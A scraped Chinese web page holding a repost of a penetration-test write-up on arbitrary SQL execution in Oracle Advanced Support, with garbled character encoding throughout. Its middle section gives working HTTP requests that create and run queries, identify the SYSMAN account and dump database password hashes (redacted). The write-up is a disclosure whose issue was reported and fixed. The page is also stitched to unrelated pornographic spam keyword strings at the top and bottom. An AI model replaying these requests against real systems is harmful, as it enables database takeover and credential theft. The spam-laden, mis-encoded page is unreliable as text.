精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Oracle Advanced Support系統(tǒng)SQL注入漏洞挖掘經(jīng)驗(yàn)分享

安全 漏洞
本篇文章主要記錄了作者在進(jìn)行一個(gè)滲透測(cè)試項(xiàng)目時(shí),針對(duì)Oracle Advanced Support系統(tǒng)的黑盒測(cè)試并挖到SQL注入漏洞的過(guò)程。

Oracle Advanced Support系統(tǒng)SQL注入漏洞挖掘經(jīng)驗(yàn)分享

Oracle Advanced Support系統(tǒng)SQL注入漏洞分析

一年多前我在客戶的一個(gè)外部環(huán)境中執(zhí)行滲透測(cè)試,任何外部環(huán)境滲透測(cè)試的重要步驟之一就是挖掘出可訪問(wèn)的WEB服務(wù)。nmap和EveWitness的結(jié)合會(huì)令這步驟變得更快,因?yàn)槲覀兛梢赃M(jìn)行端口掃描 并且把這些結(jié)果以屏幕截圖的形式導(dǎo)入到 EyeWitness中。當(dāng)梳理完 EyeWitness提供的屏幕截圖頁(yè)面后,我發(fā)現(xiàn)了一個(gè)Oracle 高級(jí)支持服務(wù)。

Oracle Advanced Support系統(tǒng)SQL注入漏洞分析

雖然我之前從沒(méi)聽(tīng)過(guò)Oracle Advanced Support,但是當(dāng)我很快的google完之后,我了解到它似乎是一個(gè)允許oracle的技術(shù)支持在外部登入,并且在oracle系統(tǒng)環(huán)境下進(jìn)行任何技術(shù)支持需要的操作的服務(wù)。有了這個(gè)信息之后, 我們可以將現(xiàn)有的web應(yīng)用測(cè)試與它結(jié)合起來(lái)。

我們可以對(duì)這個(gè)應(yīng)用開(kāi)始進(jìn)行一些簡(jiǎn)單的偵查,包括:

  • 尋找已經(jīng)被爆出的漏洞
  • 用burp爬取應(yīng)用
  • 枚舉常見(jiàn)的路徑
  • 查看可獲取的頁(yè)面的源碼

幸運(yùn)的是,我在主頁(yè)的源碼中發(fā)現(xiàn)了 一個(gè)包含資產(chǎn)目錄清單的鏈接。

對(duì)于像這樣一個(gè)未知的應(yīng)用,目錄列表是很有用的,它給我們了一些希望去發(fā)現(xiàn)一些很有趣 但不應(yīng)該被訪問(wèn)到的東西 。果不其然的在搜尋每個(gè)目錄之后,我偶然發(fā)現(xiàn)了以下的javascript文件:

讓它變得更適合閱讀一些

http://p5.qhimg.com/t01ee9ebd48adeef189.png

在Web滲透測(cè)試中,其中一個(gè)我喜歡的并且常常忽視的事情是查找應(yīng)用中的javascript文件, 并且看看他們是否支持任何POST 或者是GET請(qǐng)求。

我們已經(jīng)發(fā)現(xiàn)了一個(gè)叫做sql-service.js的javascript文件,這讓我立刻在腦海中提高起警覺(jué)來(lái)。這個(gè)文件包含4個(gè)匿名函數(shù)其中三個(gè)t.getJSON方法的GET請(qǐng)求和一個(gè)t.post方法的POST請(qǐng)求。這些函數(shù)包含如下一些變量:

  1. getSqlData 
  2. createNamedSql 
  3. getNamedSqlList 
  4. getSqlNameList 

在這篇文章的剩余部分,我將提及匿名函數(shù)中的變量。

每個(gè)函數(shù)的根節(jié)點(diǎn)都位于/rest/data路徑下。

接下來(lái)是將他們拆分之后的請(qǐng)求:

  1. GET /rest/data/sql 
  2. POST /rest/data/sql 
  3. GET /rest/data/sql_list 
  4. GET /rest/data/sql_name_list 

有了這些之后,開(kāi)始拿出我最喜歡的代理工具:burp,看看會(huì)發(fā)生什么!

直搗黃龍

我首先嘗試的是來(lái)自于getSqlData函數(shù)路徑是/rest/data/sql的GET請(qǐng)求。我們也通過(guò)觀察javascript發(fā)現(xiàn)這個(gè)請(qǐng)求需要附加一個(gè)參數(shù),讓我們?cè)诮Y(jié)尾加上”test”.

  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  
  3. HTTP Response: 
  4. HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

當(dāng)我們把”test”加到請(qǐng)求url的末尾,服務(wù)器返回了404。同時(shí)服務(wù)器也返回了這樣一個(gè)信息:Named SQL not found。如果我們嘗試”test”之外的其他字符串,得到了同樣的返回信息。我們把這個(gè)請(qǐng)求發(fā)到Burp 的 intruder模塊,打算試圖過(guò)一個(gè)目錄列表字典來(lái)枚舉潛在的參數(shù)名,看看是否能得到除了404之外的返回。但是有一個(gè)更簡(jiǎn)單的方法來(lái)找到合適的參數(shù)名。如果我們?cè)俅尾榭磈avascript,你會(huì)發(fā)現(xiàn)函數(shù)的名稱給我們一些有價(jià)值的信息。我們?cè)谝韵潞瘮?shù)中發(fā)現(xiàn)了兩個(gè)GET請(qǐng)求:getNamedSqlList 和 getSqlNameList.。我們剛才的請(qǐng)求返回的錯(cuò)誤信息是 Named SQL not found error。讓我們嘗試針對(duì)getNamedSqlList函數(shù)的GET請(qǐng)求。

  1. HTTP Request: 
  2. GET /rest/data/sql_list HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Connection: close 
  14. Content-Length: 243633 
  15. [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 
  16. … 

這的確給了我們不少的信息,讓我們仔細(xì)分析一下,我們獲得了一組json對(duì)象,看一下數(shù)組中的第一個(gè)對(duì)象:

  1. {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

我們發(fā)現(xiàn)了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因?yàn)樗司哂凶址档腟QL語(yǔ)句。我們把name的值放進(jìn)先前嘗試的GET請(qǐng)求中。

  1. HTTP Request: 
  2. GET /rest/data/sql/sample HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: application/json 
  13. Content-Length: 44 
  14. Connection: close 
  15. Bad Request.Param value not defined for time 

Hey!我們得到一些返回!但是我們少了一個(gè)參數(shù),讓我們加進(jìn)來(lái)。

  1. HTTP Request: 
  2. GET /rest/data/sql/sample?time=1 HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 2 
  14. Connection: close 

雖然沒(méi)有從服務(wù)器獲得任何返回,但是也沒(méi)有返回任何錯(cuò)誤!難道是例子中的SQL語(yǔ)句被執(zhí)行了,只是沒(méi)有回顯?我們可以繼續(xù)嘗試其他的從先前請(qǐng)求中獲得的names,但是我們看一下原始的javascript。我們發(fā)現(xiàn)有一個(gè)叫做createNamedSQL的函數(shù),它是一個(gè)POST的請(qǐng)求。我們知道來(lái)至于getNamedSqlList 的請(qǐng)求的返回值包含了sql語(yǔ)句的值。也許是這個(gè)post請(qǐng)求會(huì)允許我們?cè)诜?wù)器上 執(zhí)行sql查詢。我們?cè)囈幌?

SQL Execution

這就是createNamedSQL中在包體里面包含一個(gè)空json對(duì)象的POST請(qǐng)求:

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. {} 
  11. HTTP Response: 
  12. HTTP/1.1 500 Internal Server Error 
  13. Content-Type: text/html 
  14. Content-Length: 71 
  15. Connection: close 
  16. A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

我們得到一個(gè)關(guān)于SQL_NAME列的錯(cuò)誤,當(dāng)我們?cè)诎w中包含空的json對(duì)象時(shí)這不是很意外。現(xiàn)在我們?cè)诎w里加入一個(gè)隨機(jī)的屬性名和數(shù)值。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 16 
  8. Content-Type: application/json;charset=UTF-8 
  9. {"test":1} 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: text/plain 
  13. Content-Length: 365 
  14. Connection: close 
  15. Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
  16. &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

再一次不意外的獲得了一個(gè)關(guān)于未知“test”字段的bad request,但是如果你注意的話,這個(gè)錯(cuò)誤的信息給我們返回了一些有用的屬性。感謝 Oracle先生的服務(wù)!這些屬性也同樣出現(xiàn)了從getNamedSqlList發(fā)出請(qǐng)求獲得的返回中。我使用getNamedSqlList請(qǐng)求的返回中其中的一個(gè)值賦給dataSourceJNDI屬性。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 101 
  8. Content-Type: application/json;charset=UTF-8 
  9.     "name": "test", 
  10.     "sql":"select @@version", 
  11.     "dataSourceJNDI":"jdbc/portal" 

這看起來(lái)是一個(gè)很好的測(cè)試請(qǐng)求,我們來(lái)見(jiàn)證一下 他是否有效。

  1. HTTP Response: 
  2. HTTP/1.1 500 Internal Server Error  
  3. Content-Type: text/plain 
  4. Content-Length: 200 
  5. Connection: close 
  6. A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

我們?nèi)匀粡姆?wù)器獲得了一個(gè)錯(cuò)誤返回,但是只返回了content-type。SQL語(yǔ)句可能已經(jīng)被創(chuàng)建了。通過(guò)把名稱字段設(shè)為“test”, 讓我們嘗試第一個(gè)具有參數(shù)的GET請(qǐng)求。

  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 24 
  14. Connection: close 
  15. [{"@@version":"5.5.37"}] 

看這里!我們獲得了一些SQL執(zhí)行。

看一下“我們”是誰(shuí)。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 101 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test2", 
  11.     "sql":"SELECT USER from dual;", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test2 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 19 
  26. Connection: close 
  27. [{"USER":"SYSMAN"}] 

看起來(lái)我們是SYSMAN 用戶。通過(guò)這個(gè)oracal 文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我們就是administrator.

試一下 我們能否抓取出用戶的哈希.

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 120 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test3", 
  11.     "sql":"SELECT name, password FROM sys.user$", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test3 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 5357 
  26. Connection: close 
  27. [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 
  28. … 

我們可以獲得數(shù)據(jù)庫(kù)中的用戶密碼的哈希值。我編輯和刪除了主要的部分。知道了我們是一個(gè)具有administrator權(quán)限的用戶,當(dāng)然后續(xù)我們還可以做很多事情。然而,針對(duì)此博客的目的,我停止下來(lái)了。

結(jié)論

關(guān)于這個(gè)匿名sql執(zhí)行我聯(lián)系了oracle,他們很快的回復(fù)并且修復(fù)了這個(gè)問(wèn)題。對(duì)我而言真正的問(wèn)題是為什么web服務(wù)壓根兒就允許sql語(yǔ)句被執(zhí)行呢?

這個(gè)博客最大的收獲是一定要看應(yīng)用中的javascript文件。在多個(gè)web應(yīng)用和外網(wǎng)的滲透測(cè)試中,我已經(jīng)發(fā)現(xiàn)了隱藏在javascript文件中sql 注入,命令執(zhí)行,和 xml實(shí)體注入攻擊。

作為針對(duì)熟練滲透測(cè)試者的練習(xí)任務(wù),看完這篇博客并且統(tǒng)計(jì)多少個(gè)你能確定的漏洞。提示:超過(guò)三處。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2013-12-02 09:35:10

2024-12-04 13:33:43

2010-04-13 14:35:17

2010-10-22 15:18:18

SQL注入漏洞

2009-02-12 10:14:16

2009-10-25 13:32:09

2009-11-02 13:47:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2018-03-29 10:16:04

2014-12-04 15:01:13

2023-12-01 16:21:42

2009-10-23 13:08:23

2010-09-08 13:42:06

2012-04-12 15:06:44

2014-09-25 19:30:51

2014-10-11 11:44:02

2015-03-13 19:22:03

2013-07-27 14:14:25

2013-05-30 10:20:39

系統(tǒng)架構(gòu)

2017-11-06 06:05:47

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

欧美精品三级日韩久久| 久久久久亚洲蜜桃| 性欧美亚洲xxxx乳在线观看| 人妻丰满熟妇av无码久久洗澡 | 久久毛片高清国产| 国产欧美日韩视频| 国产精品一区二区6| 日本高清免费电影一区| 欧美大片在线观看一区| 激情综合在线观看| 老司机在线视频二区| 成人a免费在线看| 国产免费成人av| 毛片毛片女人毛片毛片| 99久久精品国产亚洲精品| 亚洲成人网久久久| 中文字幕在线视频精品| 热色播在线视频| 亚洲色图第一区| 欧美在线一二三区| 丰满人妻一区二区| 美女爽到高潮91| 欧美在线视频免费| 久久成人国产精品入口| 青青草成人影院| 国产丝袜一区视频在线观看| 91香蕉视频免费看| ww久久综合久中文字幕| 欧美日韩精品在线| 久久艹国产精品| 成人欧美在线| 国产精品蜜臀在线观看| 欧美精品七区| 婷婷开心激情网| 国产sm精品调教视频网站| 国产精自产拍久久久久久蜜| 日韩手机在线视频| 亚洲国产午夜| 欧美激情综合色综合啪啪五月| 成人一级片免费看| jlzzjlzz亚洲女人| 亚洲人成网站色ww在线| 美女又爽又黄免费| 波多野结衣欧美| 日韩精品一区二区三区视频| 五月六月丁香婷婷| 95精品视频| 欧美高清hd18日本| 伊人色在线视频| 亚洲精品一区av| 欧美精品一卡二卡| 青青在线视频免费| 在线看欧美视频| 在线精品观看国产| 91人人澡人人爽人人精品| 欧美成人精品三级网站| 欧美中文字幕久久| 亚洲 欧美 日韩系列| 国产91亚洲精品久久久| 欧美日韩国产电影| 天堂av在线8| 久久av网站| 欧美tickling挠脚心丨vk| 国产香蕉精品视频| 丝袜美腿一区二区三区动态图| 日韩国产欧美精品在线 | 日韩a级大片| 亚洲男人天堂网| 蜜臀久久99精品久久久久久| 九九亚洲视频| 日韩一区在线视频| 中文字幕在线2021| 在线成人亚洲| 日韩av手机在线观看| 在线免费看av的网站| 国产在线看一区| 国产精品日韩欧美一区二区三区| 免费观看黄色av| 国产欧美日韩精品一区| 亚洲最新在线| 欧美人与动牲性行为| 狠狠久久五月精品中文字幕| 日韩一级免费在线观看| 激情欧美一区二区三区黑长吊| 91精品在线观看入口| 国模无码视频一区| 国产一区二区三区四区五区传媒 | 另类综合日韩欧美亚洲| 999精品在线观看| 色鬼7777久久| 亚洲婷婷在线视频| 精品久久一二三| 成人在线视频免费| 亚洲成人动漫在线播放| 国产123在线| 狠狠色狠狠色综合日日tαg| 日韩av电影国产| 国产人妖一区二区| 久久午夜电影网| 亚洲黄色网址在线观看| 色在线视频观看| 欧美一区二区视频在线观看| 中文字幕丰满孑伦无码专区| 97欧美在线视频| 456国产精品| 精品国精品国产自在久不卡| 久久久777精品电影网影网| 看全色黄大色大片| 素人一区二区三区| 亚洲精品ady| 欧美日韩午夜视频| 日韩精品一二区| 国产精品乱码视频| 黄网站在线免费看| 欧美色区777第一页| 欧美在线一级片| 亚洲色图二区| 国产精品视频网址| 日本亚洲欧美| 亚洲国产精品久久不卡毛片| 潘金莲激情呻吟欲求不满视频| 久久男人av| 欧美激情第99页| 国产毛片久久久久| 国产精品家庭影院| 亚洲色精品三区二区一区| 另类尿喷潮videofree| 欧美日本高清视频| 国产精品一区二区黑人巨大| 中文字幕av不卡| 免费男同深夜夜行网站| 久久99久久人婷婷精品综合| 午夜精品福利在线观看| 国产自产一区二区| 一区二区激情小说| 精品国产aⅴ一区二区三区东京热| 国产精品国产一区| 国产美女主播一区| 91涩漫在线观看| 欧美吻胸吃奶大尺度电影| 免费观看av网站| 久久精品30| 欧美另类一区| 日韩av中字| 亚洲欧美在线免费| 欧美日韩综合一区二区三区| 91在线播放网址| 成人av一级片| 亚洲素人在线| 国产精品成人品| 91社区在线观看| 91精品黄色片免费大全| 午夜国产福利一区二区| 国产一区二区伦理片| 日本高清xxxx| 6080成人| 91极品女神在线| 黄色av网站在线看| 欧美视频一区二| 欧美xxxooo| 国产99久久精品| 久久视频这里有精品| 日本中文字幕在线一区| 日本中文字幕久久看| 国产黄色片在线观看| 欧美久久久久免费| 欧美色图亚洲天堂| 99久久精品国产一区二区三区| 浮妇高潮喷白浆视频| 国产日产一区| 成人黄色中文字幕| heyzo高清国产精品| 日韩国产欧美区| ,亚洲人成毛片在线播放| 亚洲男女毛片无遮挡| 老司机免费视频| 日韩av网站免费在线| 亚洲欧美日韩精品综合在线观看 | 91精品婷婷国产综合久久竹菊| 久久久久亚洲av无码专区体验| 不卡视频一二三四| 一道本视频在线观看| 亚洲最新色图| 明星裸体视频一区二区| 欧美一区二区三区婷婷| 久久久这里只有精品视频| 成人在线免费电影| 精品久久一二三区| 国产99久久久久久免费看| 亚洲摸摸操操av| av男人的天堂av| 国产成人欧美日韩在线电影| 国产97色在线 | 日韩| 国产综合自拍| 亚洲草草视频| 国内精品免费| 91精品中文在线| 中文字幕在线直播| 久久91精品国产| 国产高清免费在线播放| 欧美精品一区二区三区蜜桃视频 | 亚洲国产日韩综合一区| 9l视频自拍蝌蚪9l视频成人| 国产精品久久一区| av电影免费在线看| 久久国产精彩视频| 国产福利第一视频在线播放| 亚洲第一精品福利| 国产精品久久久久毛片| 91国产福利在线| 日本少妇bbwbbw精品| 亚洲欧美成人一区二区三区| 性猛交ⅹxxx富婆video| 国产成人av电影在线观看| 久热精品在线播放| 老司机精品视频网站| 国产av国片精品| 欧美91视频| 在线观看福利一区| 成人同人动漫免费观看| 欧美韩国日本精品一区二区三区| 欧美一级片网址| 成人国产精品久久久| 日本精品裸体写真集在线观看| 97av在线视频| 77thz桃花论族在线观看| 久久精品电影网| av在线首页| 亚洲午夜国产成人av电影男同| 熟妇高潮一区二区三区| 精品成人一区二区三区| 亚洲第一色网站| 日韩欧美美女一区二区三区| 国产精品主播一区二区| 欧美日韩电影在线播放| 在线观看中文字幕网站| 欧美日韩一区二区三区在线看 | 日韩精品一区二区三区swag| 国产一区二区三区成人| 欧美午夜精品久久久久久超碰 | 亚洲激情视频在线| 熟妇高潮一区二区高潮| 亚洲激情免费观看| 日韩大胆人体| 亚洲欧洲一区二区三区久久| 欧美日韩在线中文字幕| 亚洲欧美制服中文字幕| 蜜桃成人在线视频| 亚洲色图第一页| jizz在线观看中文| 日韩一区二区在线视频| 菠萝蜜视频国产在线播放| 欧美成人三级视频网站| 牛牛电影国产一区二区| 98精品国产高清在线xxxx天堂| а√天堂中文在线资源8| 18性欧美xxxⅹ性满足| 韩国主播福利视频一区二区三区| 日本久久久久久久久| 四虎成人在线| 亚洲va欧美va国产综合久久| 精品一区二区三区在线观看视频| 不卡视频一区二区三区| 猫咪成人在线观看| 日韩福利二区| 99久久.com| av免费观看大全| 日韩精品一二三| 欧美性猛交xx| 91在线视频网址| 日本猛少妇色xxxxx免费网站| 中文字幕一区二区三中文字幕| 日韩欧美中文字幕视频| 午夜激情一区二区三区| 天天干天天操天天操| 91精品国产综合久久久蜜臀图片 | 国产一区二区三区免费在线| 97碰碰视频| 国产亚洲电影| av日韩在线看| 日韩成人一级大片| 91丨porny丨九色| 久久嫩草精品久久久精品一| 欧美xxxooo| 欧美日韩另类在线| 国产精品视频一二区| 亚洲第一精品夜夜躁人人爽| a√资源在线| 韩国三级电影久久久久久| 国产精品亚洲d| 国产精品入口免费| 欧美少妇xxxx| 婷婷无套内射影院| 久久国产精品72免费观看| 国产精品一区二区人妻喷水| 欧美激情一区二区三区蜜桃视频| 黄色一级免费视频| 欧美日韩精品福利| 五月婷婷在线观看视频| 久久久精品一区二区| 中国色在线日|韩| 97久久天天综合色天天综合色hd| 精品国产乱码久久久久久蜜坠欲下| 黄黄视频在线观看| 欧美bbbbb| 欧美 日本 国产| 一区二区三区**美女毛片| 中文字幕乱码视频| 亚洲美女中文字幕| 成人性生交大片免费看网站| 国产在线视频91| 成人激情视频| 日韩人妻精品无码一区二区三区| 国产激情精品久久久第一区二区 | 国产精品亚洲欧美导航| 三级精品视频| 欧美一级视频免费看| 国产精品资源在线看| jizzjizz日本少妇| 在线观看一区不卡| 五月婷婷在线播放| 国内精品中文字幕| 国产精品成人自拍| 天堂а√在线中文在线| 韩国精品久久久| 国产精品麻豆免费版现看视频| 日本韩国欧美一区| 青春草在线观看| 26uuu亚洲伊人春色| 伦理一区二区三区| 免费 成 人 黄 色| 99久久精品99国产精品| 久久精品视频国产| 亚洲的天堂在线中文字幕| 韩国成人免费视频| 国产精品二区三区| 伊人狠狠色j香婷婷综合| 色悠悠在线视频| 亚洲国产日韩a在线播放| 超碰在线人人干| 欧美第一黄网免费网站| 亚洲综合色婷婷在线观看| 妞干网在线播放| a在线欧美一区| 五月婷婷开心网| 亚洲日韩欧美视频| 免费欧美电影| 亚洲午夜精品久久久中文影院av | 欧美精品视频www在线观看| 中文字幕在线免费| 成人动漫网站在线观看| 五月婷婷六月综合| 丰满少妇一区二区三区专区| 一区二区三区日韩欧美| 国内毛片毛片毛片毛片| 欧美国产在线电影| 久久夜色电影| 亚洲五月天综合| 中文字幕在线免费不卡| 国产成人精品无码高潮| 国a精品视频大全| 天堂俺去俺来也www久久婷婷 | 国产麻豆成人精品| 久久精品国产亚洲AV无码男同| 日韩精品视频免费| 99精品国自产在线| 一级特黄妇女高潮| 成人国产电影网| 波多野结衣在线观看一区| 色悠悠国产精品| 亚洲乱码一区| 久草精品在线播放| 1024成人网色www| 日本黄视频在线观看| 国产精品激情av电影在线观看| 婷婷精品进入| 波多野结衣一二三区| 欧洲一区二区三区在线| caoporm免费视频在线| 精品国产一区二区三区免费| 免费的成人av| 日本五十熟hd丰满| 中日韩午夜理伦电影免费| 亚洲高清999| 北条麻妃av高潮尖叫在线观看| 亚洲欧美国产毛片在线| 深夜福利视频一区| 91最新国产视频| 午夜亚洲视频| 东方av正在进入| 国产一区二区av| 岛国av一区| www.色欧美| 欧美午夜精品久久久久久久| 久久黄色美女电影| 久久99精品久久久久久水蜜桃 | 精品污污网站免费看| aa视频在线观看| 一区二区三区四区视频在线观看| av色综合久久天堂av综合|